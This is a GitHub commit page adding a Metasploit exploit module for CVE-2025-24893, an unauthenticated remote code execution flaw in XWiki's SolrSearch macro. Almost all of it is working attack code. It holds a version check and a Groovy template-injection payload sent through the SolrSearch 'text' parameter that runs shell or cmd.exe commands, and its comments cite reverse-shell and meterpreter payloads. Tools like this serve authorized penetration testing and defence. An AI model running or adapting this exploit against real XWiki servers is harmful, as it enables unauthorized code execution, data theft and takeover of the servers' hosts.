Skip to content

Commit 2b01ba6

Browse files
committed
Add XWiki Unauthenticated RCE (CVE-2025-24893)
1 parent fcff88b commit 2b01ba6

File tree

1 file changed

+135
-0
lines changed

1 file changed

+135
-0
lines changed
Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Remote Code Execution Vulnerability in XWiki Platform (CVE-2025-24893)',
17+
'Description' => %q{
18+
This module exploits a template injection vulnerability in the the XWiki Platform.
19+
XWiki includes a macro called SolrSearch (defined in Main.SolrSearchMacros) that enables full-text search through the embedded Solr engine.
20+
The vulnerability stems from the way this macro evaluates search parameters in Groovy, failing to sanitize or restrict malicious input.
21+
22+
This vulnerability affects XWiki Platform versions >= 5.3‑milestone‑2 and < 15.10.11, and versions >= 16.0.0‑rc‑1 and < 16.4.1.
23+
Successful exploitation may result in remote code execution under the privileges
24+
of the web server, potentially exposing sensitive data or disrupting survey operations.
25+
26+
An attacker can execute arbitrary system commands in the context of the user running the web server.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' => [
30+
'Maksim Rogov', # Metasploit Module
31+
'John Kwak' # Vulnerability Discovery
32+
],
33+
'References' => [
34+
['CVE', '2025-24893'],
35+
['URL', 'https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rr6p-3pfg-562j']
36+
],
37+
'Platform' => ['multi'],
38+
'Arch' => [ARCH_CMD],
39+
'Targets' => [
40+
[
41+
'Unix Command',
42+
{
43+
'Platform' => ['unix', 'linux'],
44+
'Arch' => ARCH_CMD,
45+
'Type' => :unix_cmd,
46+
'DefaultOptions' => {
47+
# On Debian 9 curl is not installed by default
48+
'FETCH_COMMAND' => 'WGET'
49+
}
50+
# Tested with cmd/unix/reverse_bash
51+
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
52+
}
53+
],
54+
[
55+
'Windows Command',
56+
{
57+
'Platform' => ['windows'],
58+
'Arch' => ARCH_CMD,
59+
'Type' => :win_cmd
60+
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
61+
}
62+
],
63+
],
64+
'Payload' => {
65+
'BadChars' => '\\'
66+
},
67+
'DefaultTarget' => 0,
68+
'DisclosureDate' => '2025-02-20',
69+
'Notes' => {
70+
'Stability' => [CRASH_SAFE],
71+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
72+
'Reliability' => [REPEATABLE_SESSION]
73+
}
74+
)
75+
)
76+
77+
register_options(
78+
[
79+
OptString.new('TARGETURI', [true, 'Path to XWiki', '/']),
80+
]
81+
)
82+
end
83+
84+
def check
85+
print_status('Extracting version...')
86+
87+
res = send_request_cgi(
88+
'uri' => normalize_uri(target_uri.path, '/xwiki/bin/view/Main/'),
89+
'method' => 'GET'
90+
)
91+
return CheckCode::Unknown('No response from target') unless res&.code == 200
92+
93+
if res.body =~ %r{<div id="xwikiplatformversion">.*?XWiki.*?(\d+\.\d+\.\d+).*?</div>}m
94+
version_match = Regexp.last_match(1).to_s
95+
version = Rex::Version.new(version_match)
96+
print_status("Extracted version: #{version}")
97+
98+
if version.between?(Rex::Version.new('5.3.0'), Rex::Version.new('15.10.11')) ||
99+
version.between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.4.0'))
100+
return CheckCode::Appears
101+
end
102+
else
103+
print_error("#{peer} - Unable to extract version number")
104+
end
105+
106+
CheckCode::Safe
107+
end
108+
109+
def build_cmd
110+
if target['Type'] == :unix_cmd
111+
cmd_array = "'sh', '-c', '#{payload.encoded}'"
112+
else
113+
cmd_array = "'cmd.exe', '/B', '/q', '/c', '#{payload.encoded}'"
114+
end
115+
116+
Rex::Text.uri_encode("}}}{{async async=false}}{{groovy}}[#{cmd_array}].execute(){{/groovy}}{{/async}}")
117+
end
118+
119+
def exploit
120+
print_status('Building command for target...')
121+
cmd = build_cmd
122+
123+
print_status('Uploading malicious payload...')
124+
query_string = [
125+
'media=rss',
126+
"text=#{cmd}",
127+
].join('&')
128+
129+
send_request_cgi({
130+
'uri' => normalize_uri(target_uri.path, '/xwiki/bin/get/Main/SolrSearch'),
131+
'method' => 'GET',
132+
'query' => query_string
133+
})
134+
end
135+
end

0 commit comments

Comments
 (0)